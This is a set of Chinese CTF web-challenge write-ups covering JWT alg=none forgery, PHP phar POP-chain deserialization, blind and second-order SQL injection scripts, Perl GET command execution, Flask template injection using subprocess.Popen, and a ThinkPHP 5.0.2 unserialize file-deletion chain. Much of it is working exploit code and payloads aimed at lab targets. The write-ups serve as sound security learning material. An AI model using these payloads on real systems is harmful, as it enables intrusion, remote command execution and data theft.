koa框架以及JWT利用

koa框架以及JWT利用

打开页面,发现是登录界面,尝试sql注入闭合测试,发现没有sql注入,所以打开源码,发现一个关键点

1
"/static/js/app.js"

所以打开app.js源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
/**
* 或许该用 koa-static 来处理静态文件
* 路径该怎么配置?不管了先填个根目录XD
*/

function login() {
const username = $("#username").val();
const password = $("#password").val();
const token = sessionStorage.getItem("token");
$.post("/api/login", {username, password, authorization:token})
.done(function(data) {
const {status} = data;
if(status) {
document.location = "/home";
}
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function register() {
const username = $("#username").val();
const password = $("#password").val();
$.post("/api/register", {username, password})
.done(function(data) {
const { token } = data;
sessionStorage.setItem('token', token);
document.location = "/login";
})
.fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

function logout() {
$.get('/api/logout').done(function(data) {
const {status} = data;
if(status) {
document.location = '/login';
}
});
}

function getflag() {
$.get('/api/flag').done(function(data) {
const {flag} = data;
$("#username").val(flag);
}).fail(function(xhr, textStatus, errorThrown) {
alert(xhr.responseJSON.message);
});
}

看到一个提示

1
koa-static

可知是koa框架,所以我们可以看一下koa框架的构造

1
2
3
4
5
6
7
8
9
10
11
controllers目录下的api.js----------------------------------REST API

model目录下的products.js--------------------------------具体的model

node_modules目录下的app.js----------------------------使用koa的js

node_modules目录下的controller.js---------------------扫描注册的controller

node_modules目录下的package.json--------------------项目描叙文件

node_modules目录下的rest.js----------------------------REST的middleware

所以我们可以构造

1
/controllers/api.js

得到主要逻辑代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
const crypto = require('crypto');
const fs = require('fs')
const jwt = require('jsonwebtoken')

const APIError = require('../rest').APIError;

module.exports = {
'POST /api/register': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || username === 'admin'){
throw new APIError('register error', 'wrong username');
}

if(global.secrets.length > 100000) {
global.secrets = [];
}

const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)

const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

ctx.rest({
token: token
});

await next();
},

'POST /api/login': async (ctx, next) => {
const {username, password} = ctx.request.body;

if(!username || !password) {
throw new APIError('login error', 'username or password is necessary');
}

const token = ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization;

const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;

console.log(sid)

if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

const secret = global.secrets[sid];

const user = jwt.verify(token, secret, {algorithm: 'HS256'});

const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

ctx.rest({
status
});

await next();
},

'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

const flag = fs.readFileSync('/flag').toString();
ctx.rest({
flag
});

await next();
},

'GET /api/logout': async (ctx, next) => {
ctx.session.username = null;
ctx.rest({
status: true
})
await next();
}
};

从源码中的

1
2
3
4
'GET /api/flag': async (ctx, next) => {
if(ctx.session.username !== 'admin'){
throw new APIError('permission error', 'permission denied');
}

可知,token值中的username=admin,才可以得到权限,而在注册界面

1
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});

在注册时,生成一个token值作为登录的验证,而nodejs的jwt存在缺陷

1
const user = jwt.verify(token, secret, {algorithm: 'HS256'});

就是在secret为空时,会没有签名认证,但是api.js代码中,设有secret的验证,不可以为空

1
2
3
if(sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {
throw new APIError('login error', 'no such secret id');
}

但是js和php一样,是弱语言类型,所以我们只要设置secretid为小数或空数组,则可以绕过,而在登录界面post提交的username和password与token中的username和password的值必须是一样的

1
2
3
4
5
const status = username === user.username && password === user.password;

if(status) {
ctx.session.username = username;
}

所以我们可以使用https://jwt.io网站来显示token值中HEADER和PAYLOAD中的结构
HEADER

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

PAYLOAD

1
2
3
4
5
6
{
"secretid": 0,
"username": "xc",
"password": "123",
"iat": 1632839777
}

我们可以post提交username=admin&password=123,然后改token中的alg的值为none,username的值为admin,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import jwt
token = jwt.encode(
{
"secretid": [],
"username": "admin",
"password": "123",
"iat": 1632811865
},
algorithm="none",key=""
).encode('utf=8').decode('utf-8')

print(token)

然后提交,点击GET FLAG并抓包提交即可看见flag

pop链以及phar协议

pop链以及phar协议

打开页面,发现是一个查看文件和上传文件的页面,开始以为是文件上传漏洞,发现有后缀名好像有过滤,所以我们再观察查看文件页面,发现一个可疑点

1
file.php?file=

可以推测可能是文件包含,所以构造

1
file.php?file=file.php

读取file.php文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php 
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

源码中有两个文件,分别是class.php和function.php文件,所以我们通过构造

1
2
3
file.php?file=class.php               //读取class.php文件

file.php?file=function.php //读取function.php文件

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php 
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(0);
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jpeg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invalid file!");</script>';
return false;
}
}
}
?>

从源码中可知

1
$allowed_types = array("gif","jpeg","jpg","png");

上传文件后缀必须是以上几个

1
2
3
if(file_exists("upload/" . $filename)) { 
unlink($filename);
}

上传文件可以在

1
/upload

目录下看到

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file; //$this->source = phar://phar.jpg
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

通过观察源码,我们可以知道可以通过file_get_contents()函数来读取文件的内容,其中class.php中涉及几个魔术方法

1
2
3
__get()魔术方法:从不可访问的属性读取数据会触发
__toString()魔术方法:在类的对象被当作字符串操作时,自动被调用
__set()魔术方法:从不可访问的属性写入数据会触发

pop链的思路

1
2
3
4
1. 要调用file_get()方法要调用get()方法
2. 要调用get()方法要调用魔术方法__get()
3. 要调用魔术方法__get(),要将Show类中的魔术方法__toString()中的$this->str['str']为Test类,从而$this->str['str']->source为从不可访问的属性读取数据
4. 要调用魔术方法__toString(),要将魔术方法__destruct()中的$this->str为Show类,因为$this->test=$this->str,且echo $this->test

所以可以写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

class Cle4r
{
public $str;
public $test;
}

class Show{
public $str;
public $source;
}

class Test{
public $params;
public $file;
}

$a=new Cle4r();
$b=new Show();
$c=new Test();
$a->str=$b;
$b->str['str']=$c;
$c->params['source']="/var/www/html/flag.php";

echo serialize($a);
?>

但是要打包成phar文件,所以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
class C1e4r
{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}
class Test
{
public $file;
public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show; //利用 $this->test = $this->str; echo $this->test;
$show->str['str'] = $test; //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

然后用php运行得到exp.phar文件,然后抓包,并将文件后缀改为jpg,然后上传,然后在

1
/upload

可以看见上传文件,然后由于file.php文件中

1
2
3
4
if(file_exists($file)) { 
$show->source = $file;
$show->_show();
} else if (!empty($file))

和class.php文件中的

1
2
3
4
5
6
7
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

可知文件内容可以使用highlight_file()函数显示,所以我们可以构造

1
file.php?file=phar://upload/b78e1e4af578d40825462627147a5573.jpg	

来触发phar文件,进行反序列化,读取flag,但是最后结果需要经过base64解密

无列名注入以及information_schema的绕过

无列名注入以及infomation_schema的绕过

我们打开页面,发现是一个简陋的信息查询,然后尝试sql注入闭合测试

1
admin"#

发现有回显

1
SQL Injection Checked.

发现是sql注入漏洞,且如果随意输入数据进行查询,发现回显

1
bool(false)

所以可以使用bool盲注,但是经过fuzz,发现if被过滤了,且or也被严格过滤,所以information_schema也被过滤,因此根据经验,可以使用

1
sys.schema_table_statistics_with_buffer

来代替information_schema,但是它只可以查询table(表),不可以查询列名(字段),同时通过抓包,可以知道如果出现错误的话,会返回V&N,如果正确的话,返回Nu1L,所以我们可以用以下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}'
result = ''
for j in range(1,500):
for i in range(32, 127):
py = payload.format(j,i)
post_data = {'id': py}
re = requests.post(url, data=post_data)
if 'Nu1L' in re.text:
result += chr(i)
print(result)
break

可以爆出两个表名

1
users233333333333333,f1ag_1s_h3r3_hhhhh

但是由于我们无法知道列名,所以我们可以使用无列名注入

无列名注入的原理

例子

1
select(select 'b')>(select 'c');

无列名注入使用了ascii位偏移,就是比较两个字符串的大小,即各取两个字符串的首字符ascii码来比较,如果相等则选取下一个字符进行比较,如果不等式成立的话返回1,如果不等式不成立的话返回0,只比较一次

但是我们不知道有多少个字段,flag在哪一个字段里,所以我们可以先

1
1^((select 1,1)>(select * from flag_ls_h3r3_hhhhh))^1

来测试有几个字段和flag在哪个字段里,通过测试发现,存在两个字段,flag在第二个字段里,所以我们可以使用exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/'
def add(flag):
res = ''
res += flag
return res
flag = ''
for i in range(1,200):
for char in range(32, 127):
hexchar = add(flag + chr(char))
payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
#print(payload)
data = {'id':payload}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break

来爆出flag出来,但是flag都是小写字母,所以可以使用c语言来转化为小写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include<iostream>
using namespace std;
int main(){
int i=0;
char a[]="FLAG{2A2D6335-F1D1-4E6E-8A77-135E0DFC5149}";
while(a[i]!='\0'){
if(a[i]>=65 && a[i]<=90){
a[i]+=32;
}
cout<<a[i];
i++;
}
return 0;
}

GET命令执行漏洞

GET命令执行漏洞

GET命令执行漏洞的原理

GET对协议处理部分调用的是/usr/share/perl5/LWP/Protocol下的各个pm模块,而在file.pm中,发现path参数是可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
...
# URL OK, look at file
my $path = $url->file;

# test file exists and is readable
#第47行
# test file exists and is readable
unless (-e $path) {
return HTTP::Response->new( &HTTP::Status::RC_NOT_FOUND,
"File `$path' does not exist");
}
unless (-r _) {
return HTTP::Response->new( &HTTP::Status::RC_FORBIDDEN,
'User does not have read permission');
}
...
#第127行
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
"Cannot read file '$path': $!");
binmode(F);
$response = $self->collect($arg, $response, sub {
my $content = "";
my $bytes = sysread(F, $content, $size);
return \$content if $bytes > 0;
return \ "";
});
close(F);
}

从源码中,我们可以看出,使用GET命令时,如果文件存在的话,则会调用open()函数,对文件进行读取或对命令进行执行,因此我们可以在本地测试

1
GET 'file:ls /|'

发现可以显示目录信息,其中管道符必须要加,不然的话无法创建文件,但是在本地测试的时候,发现这个命令不可以使用,可以使用

1
GET '/'

来显示目录信息,听说是底层逻辑的问题,而读取文件的话,可以使用

1
GET 'file:bash -c /flag.txt|'

就可以显示文件的内容,而使用/flag.txt的话,服务器会在根目录下创建这个文件,而不是在网站的那个目录,所以无法使用命令执行,所以可以使用bash -c来代替.,即bash -c /flag.txt就等于./flag.txt,但是还是会出现上面的问题,在本地测试时,文件内容无法显示,但使用

1
GET './flag.txt'

可以显示文件的内容

实例

打开页面,可以看见源码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);

从源码中,我们可以分析到

1
$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);

这串代码是将ip地址和orange结合在一起,然后进行md5加密,因此,我们可以写一个exp来获得文件存储的目录

1
2
3
4
<?php

echo md5("orange".ip地址);
?>

然后这串代码

1
2
@mkdir($sandbox)
@chdir($sandbox)

就是创建$sandbox的目录,然后改变当前目录到$sandbox中

然后对url参数输入的值,执行GET命令

1
$data = shell_exec("GET " . escapeshellarg($_GET["url"])); 

pathinfo()函数

pathinfo()函数以数组的形式返回关于文件路径信息

代码

1
2
3
4
<?php

print_r(pathinfo("bash -c /readflag|"));
?>

输出结果为

1
2
3
4
5
6
Array
(
[dirname] => bash -c
[basename] => readflag|
[filename] => readflag|
)

由于bash -c相当于当前目录,即.

1
2
@mkdir($dir);
@chdir($dir);

所以这串代码没什么作用,最后这串代码

1
@file_put_contents(basename($info["basename"]), $data);

就是将$data,就是GET命令执行后的内容写在$info[basename]文件中,而这个文件就在/sandbox/md5(“orange”.ip)/目录下,所以我们可以先读取目录信息

1
?url=/&filename=aaa

然后访问

1
http://url/sandbox/md5("orange".ip)/aaa

即可得到目录信息,然后我们可以看见readflag和flag,我们可以读取readflag来读取flag出来,因为目录下如果没有readflag的话是无法读取的,所以以防万一,我们可以先创建readflag文件

1
?url=&filename=bash -c /readflag

来创建bash -c /readflag,即./readflag,就是在本目录下创建readflag文件
然后使用

1
?url=file:bash -c /readflag&filename=aaa

来用GET命令来执行./readflag,并将内容放入aaa文件中,所以我们可以通过访问

1
http://url/sandbox/md5("orange".ip)/aaa

来读取flag

参考文章:[https://blog.csdn.net/qq_45521281/article/details/105868449]

[https://www.freesion.com/article/1523820728/]

JWT以及flask模板注入

JWT以及flask模板注入

打开页面后,发现是一个登录的界面,所以尝试使用sql注入的闭合测试,发现没有回显,排除sql注入的可能

然后抓包,发现有一个token值

1
token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJwYXNzd2QiOiIxMjMiLCJ1aWQiOiIxMzQxMmRjYy1mNzdjLTRiNWMtYTY3NS0xYTg4OWY4YzdiMDIiLCJyb2xlIjoiZ3Vlc3MifQ.fZK8Krq7WE-zoHSh0M6ZOzj5MGMQRFRmxstoOXdILA0

所以猜测是JWT,放入这个网站[https://jwt.io/],可以看见JWT前两部分的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
HEADER

{
"alg": "HS256",
"typ": "JWT"
}


PAYLOAD

{
"user": "admin",
"passwd": "123",
"uid": "13412dcc-f77c-4b5c-a675-1a889f8c7b02",
"role": "guess"
}

role是一个可疑点,所以我们可疑将guess改为admin进行尝试,但是我们不知道密钥,所以我们可以使用c-jwt-craker对密钥进行爆破,得到密钥为

1
CTf4r

然后伪造token,进行提交,发现成功提交,但是提交后没发现任何东西,此时我想了比较久,然后尝试将user里的值改为

1
{{7*7}}

发现回显是49,发现注入点,然后我构造

1
{{' '.__class__}}

进行尝试,发现回显500,然后逐个符号进行尝试,发现原来单引号被过滤了,所以我们可以使用()来代替

1
{{().__class__}}

发现成功回显出两个类,由于它过滤了单引号,所以我就用对单引号使用最少的subprocess.Popen类对文件进行读取

1
{{().__class__.__mro__[1].__subclasses__()[143]('ls',shell=True,stdout=-1).communicate()[0].strip()}}

但是发现它里面带有单引号,所以我们可以使用request.args.path来绕过单引号,即使用get提交的方式输入命令

1
{{().__class__.__mro__[1].__subclasses__()[143](request.args.path,shell=True,stdout=-1).communicate()[0].strip()}}

然后在提交伪造token的同时,get提交命令

1
/flag?path=ls

发现显示目录,即注入成功,然后get提交

1
/flag?path=cat%20/flag

就可以读取flag了

ThinkPHP框架漏洞以及不可见字符绕过

ThinkPHP框架漏洞以及不可见字符绕过

打开页面,我们可以看见源码
``
<?php
namespace app\index\controller;
class Index
{
public function index($run=[])
{
highlight_file(__FILE__);
echo ‘

Welcome to CTFSHOW


‘;
echo ‘Powered by PHPthink5.0.2
‘;
echo dirname(FILE);

if (!empty($run[2])){
        echo 'ZmxhZyBpcyBub3QgaGVyZSBidXQgaXQgaXMgaW4gZmxhZy50eHQ=';
    }
if (!empty($run[1])){
        unserialize($run[1]);
    }
}
// hint:/index/index/backdoor
public function backdoor(){
    if (!file_exists(dirname(__FILE__).'/../../'."install.lock")){
    echo "Try to post CMD arguments".'<br/>';
        $data = input('post.');
        if (!preg_match('/flag/i',$data['cmd'])){
            $cmd = escapeshellarg($data['cmd']);
    $cmd='cat '.$cmd;
    echo $cmd;
            system($cmd);
        }else{
            echo "No No No";
        }

    }else{
    echo dirname(__FILE__).'/../../'."install.lock has not been deleted";
}
}

}

1
从源码中,我们可以看见hint

/index/index/backdoor

1
因此,我们可以构造

index.php/index/index/backdoor

1
然后回显出

/var/www/html/application/index/controller/../../install.lock has not been deleted

1
因此,我们需要想办法删除/var/www/html/application/index/controller/../../install.lock文件,但是我们从源码中没有看见可以删除文件的函数,但是我们可以看见

Powered by PHPthink5.0.2

1
2
3
所以我们可以上网搜ThinkPHP5.0.2漏洞,发现这个版本ThinkPHP有一个反序列化pop链的使用,所以我们可以上网下载ThinkPHP5.0.2的源码

然后发现在thinkphp/library/think/process/pipes/Windows.php文件中有一个删除文件的自定义函数
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) { //触发__toString方法
            @unlink($filename);
        }
    }
    $this->files = [];
}
1
2

而魔术方法__destruct()里有调用这个removeFiles()函数,
public function __destruct()
{
    $this->close();
    $this->removeFiles(); //跟
}
1
2

所以我们可以构造一条pop链来删除/var/www/html/application/index/controller/../../install.lock文件,而__destruct()魔术方法是在类的对象被销毁时被触发的,所以exp
files=array("/var/www/html/application/index/controller/../../install.lock"); } } $b=new Windows(); echo urlencode(serialize($b)); ?>
1
构造payload

?run[1]=O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A34%3A%22%00think%5Cprocess%5Cpipes%5CWindows%00files%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A61%3A%22%2Fvar%2Fwww%2Fhtml%2Fapplication%2Findex%2Fcontroller%2F..%2F..%2Finstall.lock%22%3B%7D%7D

1
即可删除/var/www/html/application/index/controller/../../install.lock文件,然后构造cmd参数并post提交即可,但是这里有正则过滤

preg_match(‘/flag/i’,$data[‘cmd’])

1
所以我们可以尝试通配符,但发现因为

$cmd = escapeshellarg($data[‘cmd’]);

1
所以不可以成功,所以我们可以使用不可见字符来绕过,但是escapeshellarg()函数在未设置LANG环境变量时,会去除非ASCII字符,因此可以使用payload

cmd=/fl%8aag

用bp来post提交即可

参考文章:[https://www.anquanke.com/post/id/196364]

    [https://www.cnblogs.com/zpchcbd/p/12731035.html]

二次注入

二次注入

漏洞原理

二次注入是攻击者构造恶意数据,并且将这个数据存储在数据库里,虽然在用户输入恶意数据时会对其中的特殊字符进行了转义处理,但是当恶意数据插入到数据库时被处理的数据又会被还原并存储到数据库中,当web程序调用在数据库中的恶意数据时,将不会再进行转义,此时会执行sql查询,这就造成了sql二次注入

二次注入的步骤

  1. 插入恶意数据

  2. 引用恶意数据

实例(CISCN2019 华北赛区 Day1 Web5 CyberPunk)

打开页面源码,发现一个可疑信息

1
<!--?file=?-->

因此,怀疑有文件包含漏洞,所以我们可以利用php协议来读取index.php文件

1
?file=php://filter/convert.base64-encode/resource=index.php

然后我们观察页面源码,发现还可以读取confirm.php、search.php、change.php、delete.php和config.php文件

confirm.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php

require_once "config.php";
//var_dump($_POST);

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = $_POST["address"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if($fetch->num_rows>0) {
$msg = $user_name."已提交订单";
}else{
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";
$re = $db->prepare($sql);
$re->bind_param("sss", $user_name, $address, $phone);
$re = $re->execute();
if(!$re) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单提交成功";
}
} else {
$msg = "信息不全";
}
?>

search.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
if(!$row) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

delete.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单删除成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

change.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
$msg = '';
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
$user_name = $_POST["user_name"];
$address = addslashes($_POST["address"]);
$phone = $_POST["phone"];
if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
$msg = 'no sql inject!';
}else{
$sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
$fetch = $db->query($sql);
}

if (isset($fetch) && $fetch->num_rows>0){
$row = $fetch->fetch_assoc();
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
$result = $db->query($sql);
if(!$result) {
echo 'error';
print_r($db->error);
exit;
}
$msg = "订单修改成功";
} else {
$msg = "未找到订单!";
}
}else {
$msg = "信息不全";
}
?>

config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

"host" => "127.0.0.1",
"username" => "root",
"password" => "root",
"dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

从这些文件中我们可以知道它提交的sql语句

1
select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'

但是每个文件都对$user_name和$phone进行了严格的过滤

1
$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';

但是在confirm.php文件中有address这个参数,且会将address参数的值会插入到数据库中

1
$sql = "insert into `user` ( `user_name`, `address`, `phone`) values( ?, ?, ?)";

然后change.php文件中有一串代码会读取刚刚存入数据库中的address参数的信息,其中addslashes()函数会将双引号加上反斜杠进行转义,所以影响不大

1
$sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];

所以我们可以在提交订单界面注入恶意数据后,在修改订单界面读取address时触发恶意数据进行读取,在这里我们利用报错注入来读取数据库中想要的信息

1
2
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,30)),0x7e),1)#

读取前30个字符串

1
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),30,60)),0x7e),1)#

读取后30个字符串

实例2([RCTF2015]EasySQL)

打开页面,发现有两个功能,是登录和注册两个功能,所以我们尝试在这两个地方进行sql注入的闭合测试,发现没sql注入,然后注册一个账号,并登录,然后再搜集信息,发现有一个修改密码的界面,进去后对它进行sql注入的闭合测试,发现出现sql注入,且闭合符号是双引号,而这里测试sql注入的方式是先在注册界面构造

1
admin"

然后在修改密码界面,再输入

1
admin"

看是否存在注入,测试后,发现确实存在sql注入,且闭合符号是双引号,而且此时,我们可以使用二次注入,所以构造

爆数据库

1
1"||extractvalue(1,concat(0x7e,(select(database()))))%23

爆数据表

1
1"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))%23

爆数据字段

1
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))))%23

发现爆内容的时候,发现这个flag是假的,所以爆user表的字段

1
1"||extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='user'))))%23

发现不可以爆出完整的数据,所以我们可以使用正则匹配来爆出我们需要的字段,使用regexp(‘^r’)就是匹配开头为r的字符串,所以我们可疑构造

1
2
